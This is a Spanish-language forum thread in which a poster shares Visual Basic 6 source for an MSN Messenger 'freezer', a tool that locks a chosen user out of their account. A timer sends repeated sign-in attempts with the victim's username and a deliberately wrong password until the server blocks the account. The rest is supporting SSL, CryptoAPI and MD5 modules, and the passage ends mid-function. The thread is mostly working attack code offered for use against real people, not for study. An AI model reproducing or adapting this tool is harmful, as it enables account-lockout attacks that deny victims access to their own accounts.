Registrarse

[Tengu]

Hola a todos, en este post hablaremos sobre la manera de crear un congelador tipo ice cold o iceberg, esta es mi maner,no se realmente si los dos programas antes mencionados utilizan este metodo, pero a mi me sirve asi.asi q empezaremos por lo basico ya que muchos buscan el codigo del ice cold.aqui veremos algo parecido.


Necesitaremos poner en un form lo siguiemte:

• 1 textbox llamado text1
• 1 textbox llamado text2(propiedad visible=false)
• 1 command button(Command1)
• 1 statusbar (statusbar1)
• 4 controles winsock[llamados:(Client;http;SSL;switchboard)respectivamente]

'# lo que vamos a hacer es utilizar el protocolo de conexion de MSN asociado a un
'#timer para generar un ciclo que envie peticiones de conexion con un usuario real
'#pero con una password errónea,lo que hara que el servidor bloque el inicio de sesion
'#de esa cuenta temporalmente.

Código:

Private Sub Form_Load()
Me.Caption = "FreeZer ::Tunick::"
Dim n As Long
For n = 1 To 1024
Load Switchboard(n)
    

Next n
For n = 1 To 10
    Load http(n)
    Load Client(n)
Next n


End Sub

Este es el evento load, en breve posteo lo demas.

[Tengu]

Aqui les va el resto del code, recuerden agregar dentro de este codigo el evento load q vimos anteriormente:

Código:

Option Explicit
Dim Buffer(10) As String, hBuffer(10) As String, HTTP_Header As String, Auth_Challenge As String
Dim Auth_Login As String, Ticket As String, curIndex As Integer
 Dim C As Long



Private Sub Client_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String, tmp() As String, n As Long
Client(index).GetData Packet
Buffer(index) = Buffer(index) & Packet
tmp = Split(Buffer(index), vbCrLf)
For n = 0 To UBound(tmp) - 1
    Handle index, tmp(n)
    Buffer(index) = Replace$(Buffer(index), tmp(n) & vbCrLf, "")
Next n
End Sub

Private Sub Client_Error(index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Debug.Print "Error: "; index; Description
Client(index).Close
End Sub

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub


Sub Handle(index As Integer, ByVal Packet As String)
Debug.Print "hnd: "; index, Packet
Dim pType As String, tmp() As String, tmp1() As String
pType = Mid(Packet, 1, 3)
Select Case pType
    Case "VER"
        AddStatus Me, "Estableciendo Version"
        MsnSend index, "CVR 2 0x0409 winnt 5.1 i386 MSNMSGR 7.0.0816 MSMSGS " & Username
    Case "CVR"
        MsnSend index, "USR 3 TWN I " & Username
    Case "XFR"
        tmp = Split(Packet, " ")
        Client(index).Close
        tmp1 = Split(tmp(3), ":")
        Client(index + 1).Close
        Client(index + 1).Connect tmp1(0), tmp1(1)
        Case "USR"
        tmp = Split(Packet, " ")
        Select Case tmp(2)
        Case "TWN"
            AddStatus Me, "Autorizando..."
            Auth_Challenge = tmp(4)
            Debug.Print Auth_Challenge
            HTTP_Header = "GET https://nexus.passport.com/rdr/pprdr.asp" & vbCrLf
            SSL.Close
            SSL.Connect "nexus.passport.com", 443
            curIndex = index
        Case "OK"
            Me.Caption = tmp(3) & " [" & tmp(4) & "]"
            MsnSend index, "SYN 8 6"
        End Select
    Case "SYN"
        tmp = Split(Packet, " ")
        ContactCount = tmp(3)
    Case "MSG"
    Case "RNG"
        tmp = Split(Packet, " ")
        'RNG 14422 207.46.4.198:1863 CKI 1128549075.11374 tel@xxzcxc.net tel
        SB_Connect tmp(2), tmp(1), tmp(5), tmp(4)
    Case "CHL"
        tmp = Split(Packet, " ")
        Client(index).SendData "QRY 1049 msmsgs@msnmsgr.com 32" & vbCrLf & CalculateMD5(tmp(2) & "Q1P7W2E4J9R8U3S5")
    Case Else
    
End Select
End Sub

Sub SB_Connect(ByVal Address As String, ByVal SessionID As String, ByVal Caller As String, ByVal Challenge As String)
Dim tmp() As String, n As Long
tmp = Split(Address, ":")
For n = 0 To Switchboard.UBound - 1
    If Switchboard(n).State = sckClosed Then
        Switchboard(n).Connect tmp(0), tmp(1)
        RNG(n).Caller = Caller
        RNG(n).Challenge = Challenge
        RNG(n).SessionID = SessionID
        Exit For
    End If
Next n
End Sub

Private Sub Form_Resize()
On Error Resume Next
StatusBar1.Width = ScaleWidth
StatusBar1.Panels(1).Width = ScaleWidth
End Sub





Private Sub Switchboard_Connect(index As Integer)
SB_Send index, "ANS 1 " & Username & " " & RNG(index).Challenge & " " & RNG(index).SessionID
End Sub

Sub SB_Send(index As Integer, ByVal Packet As String)
Switchboard(index).SendData Packet & vbCrLf
End Sub

Private Sub Switchboard_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String
Switchboard(index).GetData Packet
Debug.Print "SB: "; index; Packet
End Sub




Sub AddStatus(frm As Form, ByVal Msg As String)
frm.StatusBar1.Panels(1).Text = Msg
End Sub

Sub MsnSend(index As Integer, ByVal Packet As String)
Client(index).SendData Packet & vbCrLf
End Sub
Private Sub Form_Unload(Cancel As Integer)
Dim n As Long
For n = 0 To 10
    If http(n).State <> sckClosed Then http(n).Close
    If Client(n).State <> sckClosed Then Client(n).Close
Next n
End
End Sub
Private Sub Client_Connect(index As Integer)
MsnSend index, "VER 1 MSNP8 CVR0"
AddStatus Me, "Conectado al Servidor MSN"
End Sub
'--------------------------------- HTTP Socks --------------------------------'
Private Sub http_Connect(index As Integer)
httpSend index, HTTP_Header
End Sub

Private Sub http_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Packet As String, tmp() As String, n As Long
http(index).GetData Packet
Debug.Print "headers: "; Packet
hBuffer(index) = hBuffer(index) & Packet
If Right(hBuffer(index), 4) = vbCrLf & vbCrLf Then
tmp = Split(Buffer(index), vbCrLf)
For n = 0 To UBound(tmp) - 1
    Headers index, tmp(n)
    hBuffer(index) = ""
Next n
End If
End Sub

Sub httpSend(index As Integer, ByVal Packet As String)
http(index).SendData Packet
End Sub

Sub Headers(index As Integer, ByVal Packet As String)
Debug.Print index; Packet
End Sub

'------------------------------------- SSL Sockets ---------------------------------'
'SSLv2 for VB, coded by Jason K. Resch & Seth Taylor

Private Sub SSL_Close()
    Me.Caption = "Freezando...."
    SSL.Close
    If Layer = 3 Then
        Layer = 4
        Call SSL_DataArrival(0)
    End If
    Layer = 0
    Set SecureSession = Nothing
End Sub

Private Sub SSL_Connect()
    Processing = False
    Set SecureSession = New CryptoCls
    Call SendClientHello(SSL)
End Sub

Private Sub SSL_DataArrival(ByVal bytesTotal As Long)
 Dim TheData As String
    Dim Response As String
    Response = ""
    
    ' Buffer incoming data while connection is open or being opened
    If Layer < 4 Then
        Call SSL.GetData(TheData, vbString, bytesTotal)
        DataBuffer = DataBuffer & TheData
    End If
    
    If Layer = 3 Then
        ' Download complete response before processing
        Exit Sub
    End If
    
    'Parse each SSL Record
    Do
    
        If SeekLen = 0 Then
            If Len(DataBuffer) >= 2 Then
                TheData = GetBufferDataPart(2)
                SeekLen = BytesToLen(TheData)
            Else
                Exit Sub
            End If
        End If
        
        If Len(DataBuffer) >= SeekLen Then
            TheData = GetBufferDataPart(SeekLen)
        Else
            Exit Sub
        End If
        
        
        Select Case Layer
            Case 0:
                ENCODED_CERT = Mid(TheData, 12, BytesToLen(Mid(TheData, 6, 2)))
                CONNECTION_ID = Right(TheData, BytesToLen(Mid(TheData, 10, 2)))
                Call IncrementRecv
                Call SendMasterKey(SSL)
            Case 1:
                TheData = SecureSession.RC4_Decrypt(TheData)
                If Right(TheData, Len(CHALLENGE_DATA)) = CHALLENGE_DATA Then
                    If VerifyMAC(TheData) Then
                        Call SendClientFinish(SSL)
                    Else
                        ' SSL Error -- send SSL error to server
                        MsgBox ("SSL Error: Invalid MAC data ... aborting connection.")
                        SSL.Close
                    End If
                Else
                    ' SSL Error -- send SSL error to server
                    MsgBox ("SSL Error: Invalid Challenge data ... aborting connection.")
                    SSL.Close
                End If
             Case 2:
                TheData = SecureSession.RC4_Decrypt(TheData)
                If VerifyMAC(TheData) = False Then
                    ' SSL Error -- send SSL error to server
                    MsgBox ("SSL Error: Invalid MAC data ... aborting connection.")
                    SSL.Close
                End If
                Layer = 3
                DoEvents
                SSLSend SSL, HTTP_Header & vbCrLf
             Case 3:
                ' Do nothing while buffer is filled ... wait for connection to close
             Case 4:
                'SSLSend SSL, HTTP_Header & vbCrLf
                TheData = SecureSession.RC4_Decrypt(TheData)
                If VerifyMAC(TheData) Then
                    Response = Response & Mid(TheData, 17)
                Else
                    ' SSL Error -- data is corrupt and must be discarded
                    MsgBox ("SSL Error: Invalid MAC data ... Data discarded.")
                    Layer = 0
                    DataBuffer = ""
                    Response = ""
                    Exit Sub
                End If
        End Select
        SeekLen = 0
    Loop Until Len(DataBuffer) = 0
    
    If Layer = 4 Then
        Layer = 0
        Handle_SSL Response
    End If
   ' SSLSend SSL, HTTP_Header & vbCrLf
End Sub

Sub Handle_SSL(ByVal Packet As String)
Dim Headers() As String, Params() As String, Args() As String, n As Long, l As Long
Debug.Print Packet
Headers = Split(Packet, vbCrLf)
For n = 0 To UBound(Headers) - 2
    If Headers(n) <> "" Then
    Params = Split(Headers(n), ":")
    Select Case Params(0)
    Case "PassportURLs"
        Args = Split(Params(1), ",")
        Auth_Login = Mid(Args(1), 9)
        Args = Split(Auth_Login, "/")
        Debug.Print Auth_Login
        HTTP_Header = "GET /" & Args(1) & " HTTP/1.1" & vbCrLf & _
            "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & Username & ",pwd=" & Password & "," & Auth_Challenge & vbCrLf & _
            "Host: " & Args(0) & vbCrLf
        SSL.Connect Args(0), 443
    Case "Authentication-Info"
        Args = Split(Params(1), ",")
        For l = 0 To UBound(Args) - 1
        If Mid(Args(l), 1, 9) = "from-PP='" Then
            Ticket = Mid(Args(l), 10, Len(Mid(Args(l), 10)) - 1)
            Exit For
        End If
        Next l
        Debug.Print Ticket
        MsnSend curIndex, "USR 4 TWN S " & Ticket
    End Select
    End If
Next n
End Sub


Function GetBufferDataPart(ByVal Length As Long) As String
    Dim l As Long
    l = Len(DataBuffer)
    If Length > l Then
        Length = l
        GetBufferDataPart = Left(DataBuffer, l)
    Else
        GetBufferDataPart = Left(DataBuffer, Length)
    End If
    If Length = l Then
        DataBuffer = ""
    Else
        DataBuffer = Mid(DataBuffer, Length + 1)
    End If
End Function



Private Sub Timer1_Timer()
Text2.Text = Val(Text2.Text) + Val("1")
If Text2.Text = "15" Then
Timer1.Enabled = False
MsgBox "Cuenta Congelada", vbInformation, "VB Freezer"
Me.Caption = "Freezada jejej"
End If
Username = Text1
Password = "Fucked by Tengu ..::FireB0y::.." 'aca pones cualquier password
Client(0).Connect "messenger.hotmail.com", 1863
End Sub

PD: recuerden que todo esto mas el form_load van en el form al cual llamaremos FormL

[Tengu]

en un modulo de clase llamado cryptocls agregamos este code:

Código:

Option Explicit 'Declare All Variables

'CryptoAPI Functions
Private Declare Function CryptAcquireContext Lib "advapi32.dll" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As String, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hSessionKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32.dll" (ByVal hHash As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32.dll" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32.dll" (ByVal hHash As Long) As Long
Private Declare Function CryptDeriveKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal Algid As Long, ByVal hBaseData As Long, ByVal dwFlags As Long, ByRef hSessionKey As Long) As Long
Private Declare Function CryptEncrypt Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long, ByVal dwBufLen As Long) As Long
Private Declare Function CryptDecrypt Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hHash As Long, ByVal Final As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long
Private Declare Function CryptDestroyKey Lib "advapi32.dll" (ByVal hSessionKey As Long) As Long
Private Declare Function CryptImportKey Lib "advapi32.dll" (ByVal hProv As Long, ByVal pbData As String, ByVal dwDataLen As Long, ByVal hPubKey As Long, ByVal dwFlags As Long, ByRef phKey As Long) As Long
Private Declare Function CryptExportKey Lib "advapi32.dll" (ByVal hSessionKey As Long, ByVal hExpKey As Long, ByVal dwBlobType As Long, ByVal dwFlags As Long, ByVal pbData As String, ByRef pdwDataLen As Long) As Long
Private Declare Function CryptGenRandom Lib "advapi32.dll" (ByVal hProv As Long, ByVal dwLen As Long, ByVal pbBuffer As String) As Long

'CryptoAPI Constants
Private Const SERVICE_PROVIDER As String = "Microsoft Enhanced Cryptographic Provider v1.0" & vbNullChar
Private Const KEY_CONTAINER As String = "GCN SSL Container" & vbNullChar
Private Const PROV_RSA_FULL As Long = 1
Private Const CRYPT_NEWKEYSET As Long = 8
Private Const CRYPT_EXPORTABLE As Long = 1
Private Const CALG_MD5 As Long = 32771
Private Const CALG_RC4 As Long = 26625
Private Const HP_HASHVAL As Long = 2
Private Const SIMPLEBLOB As Long = 1
Private Const GEN_KEY_BITS As Long = &H800000

'Class Variables
Dim hCryptProv As Long
Dim hClientWriteKey As Long
Dim hClientReadKey As Long
Dim hMasterKey As Long
Dim lngType As Long


Public Function ExportKeyBlob(ByRef StrMasterKey As String, ByRef StrReadKey As String, ByRef StrWriteKey As String, ByVal StrChallenge As String, ByVal StrConnectionID As String, ByVal StrPublicKey As String) As String

    'Create Keys and Return PKCS Block
    Dim lngReturnValue As Long
    Dim lngLength As Long
    Dim rgbBlob As String
    Dim hPublicKey As Long
    
    Call CreateKey(hMasterKey, StrMasterKey)
    StrMasterKey = MD5_Hash(StrMasterKey)
    
    Call CreateKey(hClientReadKey, StrMasterKey & "0" & StrChallenge & StrConnectionID)
    Call CreateKey(hClientWriteKey, StrMasterKey & "1" & StrChallenge & StrConnectionID)
    
    StrReadKey = MD5_Hash(StrMasterKey & "0" & StrChallenge & StrConnectionID)
    StrWriteKey = MD5_Hash(StrMasterKey & "1" & StrChallenge & StrConnectionID)

    lngReturnValue = CryptImportKey(hCryptProv, StrPublicKey, Len(StrPublicKey), 0, 0, hPublicKey)

    lngReturnValue = CryptExportKey(hMasterKey, hPublicKey, SIMPLEBLOB, 0, vbNull, lngLength)
    rgbBlob = String(lngLength, 0)
    lngReturnValue = CryptExportKey(hMasterKey, hPublicKey, SIMPLEBLOB, 0, rgbBlob, lngLength)
    
    If hPublicKey <> 0 Then CryptDestroyKey hPublicKey
    If hMasterKey <> 0 Then CryptDestroyKey hMasterKey

    ExportKeyBlob = ReverseString(Right(rgbBlob, 128))

End Function

Public Sub CreateKey(ByRef KeyName As Long, ByVal HashData As String)

    'Create a Session Key from a Hash
    Dim lngParams As Long
    Dim lngReturnValue As Long
    Dim lngHashLen As Long
    Dim hHash As Long
    
    lngReturnValue = CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash)
    If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not create a Hash Object (CryptCreateHash API)"
    
    lngReturnValue = CryptHashData(hHash, HashData, Len(HashData), 0)
    If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not calculate a Hash Value (CryptHashData API)"
    
    lngParams = GEN_KEY_BITS Or CRYPT_EXPORTABLE
    lngReturnValue = CryptDeriveKey(hCryptProv, CALG_RC4, hHash, lngParams, KeyName)
    If lngReturnValue = 0 Then Err.Raise Err.LastDllError, , "Could not create a session key (CryptDeriveKey API)"
    
    If hHash <> 0 Then CryptDestroyHash hHash
    
End Sub

Function RC4_Encrypt(ByVal Plaintext As String) As String

    'Encrypt with Client Write Key
    Dim lngLength As Long
    Dim lngReturnValue As Long
    
    lngLength = Len(Plaintext)
    lngReturnValue = CryptEncrypt(hClientWriteKey, 0, False, 0, Plaintext, lngLength, lngLength)

    RC4_Encrypt = Plaintext

End Function

Function RC4_Decrypt(ByVal Ciphertext As String) As String

    'Decrypt with Client Read Key
    Dim lngLength As Long
    Dim lngReturnValue As Long
    
    lngLength = Len(Ciphertext)
    lngReturnValue = CryptDecrypt(hClientReadKey, 0, False, 0, Ciphertext, lngLength)

    RC4_Decrypt = Ciphertext

End Function


Private Sub Class_Initialize()
On Error Resume Next
    
    Dim lngReturnValue As Long
    Dim TheAnswer As Long
    
    lngReturnValue = CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, CRYPT_NEWKEYSET) 'try to make a new key container
    
    If lngReturnValue = 0 Then
        lngReturnValue = CryptAcquireContext(hCryptProv, KEY_CONTAINER, SERVICE_PROVIDER, PROV_RSA_FULL, 0) 'try to get a handle to a key container that already exists, and if it fails...
        If lngReturnValue = 0 Then TheAnswer = MsgBox("GCN has detected that you do not have the required High Encryption Pack installed." & vbCrLf & "Would like to download this pack from Microsoft's website?", 16 + vbYesNo)
    End If
    
    If TheAnswer = vbYes Then
        Call Shell("START http://www.microsoft.com/windows/ie/downloads/recommended/128bit/default.asp", vbHide)
        FormL.SSL.Close
    End If
    
    If TheAnswer = vbNo Then
        FormL.SSL.Close
    End If

End Sub


Private Sub Class_Terminate()

    'Free up Memory
    If hClientWriteKey <> 0 Then CryptDestroyKey hClientWriteKey
    If hClientReadKey <> 0 Then CryptDestroyKey hClientReadKey
    If hCryptProv <> 0 Then CryptReleaseContext hCryptProv, 0

End Sub

Public Function GenerateRandomBytes(ByVal Length As Long, ByRef TheString As String) As Boolean

    'Generate Random Bytes
    Dim i As Integer

    Randomize
    TheString = ""
    For i = 1 To Length
        TheString = TheString & Chr(Int(Rnd * 256))
    Next
    
    GenerateRandomBytes = CryptGenRandom(hCryptProv, Length, TheString)

End Function

Public Function MD5_Hash(ByVal TheString As String) As String

    'Digest a String using MD5
    Dim lngReturnValue As Long
    Dim strHash As String
    Dim hHash As Long
    Dim lngHashLen As Long
    
    lngReturnValue = CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, hHash)
    lngReturnValue = CryptHashData(hHash, TheString, Len(TheString), 0)
    lngReturnValue = CryptGetHashParam(hHash, HP_HASHVAL, vbNull, lngHashLen, 0)
    strHash = String(lngHashLen, vbNullChar)
    lngReturnValue = CryptGetHashParam(hHash, HP_HASHVAL, strHash, lngHashLen, 0)
    
    If hHash <> 0 Then CryptDestroyHash hHash
    
    MD5_Hash = strHash

End Function

[Tengu]

en un modulo bas llamado basMD5 agregamos:

Código:

Option Explicit

Private lngTrack As Long
Private arrLongConversion(4) As Long
Private arrSplit64(63) As Byte

Private Const OFFSET_4 As Double = 4294967296#
Private Const MAXINT_4 As Long = 2147483647

Private Const S11 As Long = 7
Private Const S12 As Long = 12
Private Const S13 As Long = 17
Private Const S14 As Long = 22
Private Const S21 As Long = 5
Private Const S22 As Long = 9
Private Const S23 As Long = 14
Private Const S24 As Long = 20
Private Const S31 As Long = 4
Private Const S32 As Long = 11
Private Const S33 As Long = 16
Private Const S34 As Long = 23
Private Const S41 As Long = 6
Private Const S42 As Long = 10
Private Const S43 As Long = 15
Private Const S44 As Long = 21

Private Function MD5Round(strRound As String, a As Long, b As Long, C As Long, d As Long, X As Long, S As Long, ac As Long) As Long

    Select Case strRound
    
        Case Is = "FF"
            a = MD5LongAdd4(a, (b And C) Or (Not (b) And d), X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
        
        Case Is = "GG"
            a = MD5LongAdd4(a, (b And d) Or (C And Not (d)), X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
            
        Case Is = "HH"
            a = MD5LongAdd4(a, b Xor C Xor d, X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
            
        Case Is = "II"
            a = MD5LongAdd4(a, C Xor (b Or Not (d)), X, ac)
            a = MD5Rotate(a, S)
            a = MD5LongAdd(a, b)
            
    End Select
    
End Function

Private Function MD5Rotate(lngValue As Long, lngBits As Long) As Long
    
    Dim lngSign As Long
    Dim lngI As Long
    
    lngBits = (lngBits Mod 32)
    
    If lngBits = 0 Then MD5Rotate = lngValue: Exit Function
    
    For lngI = 1 To lngBits
        lngSign = lngValue And &HC0000000
        lngValue = (lngValue And &H3FFFFFFF) * 2
        lngValue = lngValue Or ((lngSign < 0) And 1) Or (CBool(lngSign And &H40000000) And &H80000000)
    Next
    
    MD5Rotate = lngValue

End Function

Private Function TRID() As String

    Dim sngNum As Single, lngnum As Long
    Dim strResult As String
   
    sngNum = Rnd(2147483648#)
    strResult = CStr(sngNum)
    
    strResult = Replace(strResult, "0.", "")
    strResult = Replace(strResult, ".", "")
    strResult = Replace(strResult, "E-", "")
    
    TRID = strResult

End Function

Private Function MD564Split(lngLength As Long, bytBuffer() As Byte) As String

    Dim lngBytesTotal As Long, lngBytesToAdd As Long
    Dim intLoop As Long, intLoop2 As Long, lngTrace As Long
    Dim intInnerLoop As Long, intLoop3 As Long
    
    lngBytesTotal = lngTrack Mod 64
    lngBytesToAdd = 64 - lngBytesTotal
    lngTrack = (lngTrack + lngLength)
    
    If lngLength >= lngBytesToAdd Then
        For intLoop = 0 To lngBytesToAdd - 1
            arrSplit64(lngBytesTotal + intLoop) = bytBuffer(intLoop)
        Next intLoop
        
        MD5Conversion arrSplit64
        
        lngTrace = (lngLength) Mod 64

        For intLoop2 = lngBytesToAdd To lngLength - intLoop - lngTrace Step 64
            For intInnerLoop = 0 To 63
                arrSplit64(intInnerLoop) = bytBuffer(intLoop2 + intInnerLoop)
            Next intInnerLoop
            
            MD5Conversion arrSplit64
        
        Next intLoop2
        
        lngBytesTotal = 0
    Else
    
      intLoop2 = 0
    
    End If
    
    For intLoop3 = 0 To lngLength - intLoop2 - 1
        
        arrSplit64(lngBytesTotal + intLoop3) = bytBuffer(intLoop2 + intLoop3)
    
    Next intLoop3
     
End Function

Private Function MD5StringArray(strInput As String) As Byte()
    
    Dim intLoop As Integer
    Dim bytBuffer() As Byte
    ReDim bytBuffer(Len(strInput))
    
    For intLoop = 0 To Len(strInput) - 1
        bytBuffer(intLoop) = Asc(Mid(strInput, intLoop + 1, 1))
    Next intLoop
    
    MD5StringArray = bytBuffer
    
End Function

Private Sub MD5Conversion(bytBuffer() As Byte)

    Dim X(16) As Long, a As Long
    Dim b As Long, C As Long
    Dim d As Long
    
    a = arrLongConversion(1)
    b = arrLongConversion(2)
    C = arrLongConversion(3)
    d = arrLongConversion(4)
    
    MD5Decode 64, X, bytBuffer
    
    MD5Round "FF", a, b, C, d, X(0), S11, -680876936
    MD5Round "FF", d, a, b, C, X(1), S12, -389564586
    MD5Round "FF", C, d, a, b, X(2), S13, 606105819
    MD5Round "FF", b, C, d, a, X(3), S14, -1044525330
    MD5Round "FF", a, b, C, d, X(4), S11, -176418897
    MD5Round "FF", d, a, b, C, X(5), S12, 1200080426
    MD5Round "FF", C, d, a, b, X(6), S13, -1473231341
    MD5Round "FF", b, C, d, a, X(7), S14, -45705983
    MD5Round "FF", a, b, C, d, X(8), S11, 1770035416
    MD5Round "FF", d, a, b, C, X(9), S12, -1958414417
    MD5Round "FF", C, d, a, b, X(10), S13, -42063
    MD5Round "FF", b, C, d, a, X(11), S14, -1990404162
    MD5Round "FF", a, b, C, d, X(12), S11, 1804603682
    MD5Round "FF", d, a, b, C, X(13), S12, -40341101
    MD5Round "FF", C, d, a, b, X(14), S13, -1502002290
    MD5Round "FF", b, C, d, a, X(15), S14, 1236535329

    MD5Round "GG", a, b, C, d, X(1), S21, -165796510
    MD5Round "GG", d, a, b, C, X(6), S22, -1069501632
    MD5Round "GG", C, d, a, b, X(11), S23, 643717713
    MD5Round "GG", b, C, d, a, X(0), S24, -373897302
    MD5Round "GG", a, b, C, d, X(5), S21, -701558691
    MD5Round "GG", d, a, b, C, X(10), S22, 38016083
    MD5Round "GG", C, d, a, b, X(15), S23, -660478335
    MD5Round "GG", b, C, d, a, X(4), S24, -405537848
    MD5Round "GG", a, b, C, d, X(9), S21, 568446438
    MD5Round "GG", d, a, b, C, X(14), S22, -1019803690
    MD5Round "GG", C, d, a, b, X(3), S23, -187363961
    MD5Round "GG", b, C, d, a, X(8), S24, 1163531501
    MD5Round "GG", a, b, C, d, X(13), S21, -1444681467
    MD5Round "GG", d, a, b, C, X(2), S22, -51403784
    MD5Round "GG", C, d, a, b, X(7), S23, 1735328473
    MD5Round "GG", b, C, d, a, X(12), S24, -1926607734
  
    MD5Round "HH", a, b, C, d, X(5), S31, -378558
    MD5Round "HH", d, a, b, C, X(8), S32, -2022574463
    MD5Round "HH", C, d, a, b, X(11), S33, 1839030562
    MD5Round "HH", b, C, d, a, X(14), S34, -35309556
    MD5Round "HH", a, b, C, d, X(1), S31, -1530992060
    MD5Round "HH", d, a, b, C, X(4), S32, 1272893353
    MD5Round "HH", C, d, a, b, X(7), S33, -155497632
    MD5Round "HH", b, C, d, a, X(10), S34, -1094730640
    MD5Round "HH", a, b, C, d, X(13), S31, 681279174
    MD5Round "HH", d, a, b, C, X(0), S32, -358537222
    MD5Round "HH", C, d, a, b, X(3), S33, -722521979
    MD5Round "HH", b, C, d, a, X(6), S34, 76029189
    MD5Round "HH", a, b, C, d, X(9), S31, -640364487
    MD5Round "HH", d, a, b, C, X(12), S32, -421815835
    MD5Round "HH", C, d, a, b, X(15), S33, 530742520
    MD5Round "HH", b, C, d, a, X(2), S34, -995338651
 
    MD5Round "II", a, b, C, d, X(0), S41, -198630844
    MD5Round "II", d, a, b, C, X(7), S42, 1126891415
    MD5Round "II", C, d, a, b, X(14), S43, -1416354905
    MD5Round "II", b, C, d, a, X(5), S44, -57434055
    MD5Round "II", a, b, C, d, X(12), S41, 1700485571
    MD5Round "II", d, a, b, C, X(3), S42, -1894986606
    MD5Round "II", C, d, a, b, X(10), S43, -1051523
    MD5Round "II", b, C, d, a, X(1), S44, -2054922799
    MD5Round "II", a, b, C, d, X(8), S41, 1873313359
    MD5Round "II", d, a, b, C, X(15), S42, -30611744
    MD5Round "II", C, d, a, b, X(6), S43, -1560198380
    MD5Round "II", b, C, d, a, X(13), S44, 1309151649
    MD5Round "II", a, b, C, d, X(4), S41, -145523070
    MD5Round "II", d, a, b, C, X(11), S42, -1120210379
    MD5Round "II", C, d, a, b, X(2), S43, 718787259
    MD5Round "II", b, C, d, a, X(9), S44, -343485551
    
    arrLongConversion(1) = MD5LongAdd(arrLongConversion(1), a)
    arrLongConversion(2) = MD5LongAdd(arrLongConversion(2), b)
    arrLongConversion(3) = MD5LongAdd(arrLongConversion(3), C)
    arrLongConversion(4) = MD5LongAdd(arrLongConversion(4), d)
    
End Sub

Private Function MD5LongAdd(lngVal1 As Long, lngVal2 As Long) As Long
    
    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
    
    MD5LongAdd = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function

Private Function MD5LongAdd4(lngVal1 As Long, lngVal2 As Long, lngVal3 As Long, lngVal4 As Long) As Long
    
    Dim lngHighWord As Long
    Dim lngLowWord As Long
    Dim lngOverflow As Long

    lngLowWord = (lngVal1 And &HFFFF&) + (lngVal2 And &HFFFF&) + (lngVal3 And &HFFFF&) + (lngVal4 And &HFFFF&)
    lngOverflow = lngLowWord \ 65536
    lngHighWord = (((lngVal1 And &HFFFF0000) \ 65536) + ((lngVal2 And &HFFFF0000) \ 65536) + ((lngVal3 And &HFFFF0000) \ 65536) + ((lngVal4 And &HFFFF0000) \ 65536) + lngOverflow) And &HFFFF&
    MD5LongAdd4 = MD5LongConversion((lngHighWord * 65536#) + (lngLowWord And &HFFFF&))

End Function

Private Sub MD5Decode(intLength As Integer, lngOutBuffer() As Long, bytInBuffer() As Byte)
    
    Dim intDblIndex As Integer
    Dim intByteIndex As Integer
    Dim dblSum As Double
    
    intDblIndex = 0
    
    For intByteIndex = 0 To intLength - 1 Step 4
        
        dblSum = bytInBuffer(intByteIndex) + bytInBuffer(intByteIndex + 1) * 256# + bytInBuffer(intByteIndex + 2) * 65536# + bytInBuffer(intByteIndex + 3) * 16777216#
        lngOutBuffer(intDblIndex) = MD5LongConversion(dblSum)
        intDblIndex = (intDblIndex + 1)
    
    Next intByteIndex

End Sub

Private Function MD5LongConversion(dblValue As Double) As Long
    
    If dblValue < 0 Or dblValue >= OFFSET_4 Then Error 6
        
    If dblValue <= MAXINT_4 Then
        MD5LongConversion = dblValue
    Else
        MD5LongConversion = dblValue - OFFSET_4
    End If
        
End Function

Private Sub MD5Finish()
    
    Dim dblBits As Double
    Dim arrPadding(72) As Byte
    Dim lngBytesBuffered As Long
    
    arrPadding(0) = &H80
    
    dblBits = lngTrack * 8
    
    lngBytesBuffered = lngTrack Mod 64
    
    If lngBytesBuffered <= 56 Then
        MD564Split (56 - lngBytesBuffered), arrPadding
    Else
        MD564Split (120 - lngTrack), arrPadding
    End If
    
    
    arrPadding(0) = MD5LongConversion(dblBits) And &HFF&
    arrPadding(1) = MD5LongConversion(dblBits) \ 256 And &HFF&
    arrPadding(2) = MD5LongConversion(dblBits) \ 65536 And &HFF&
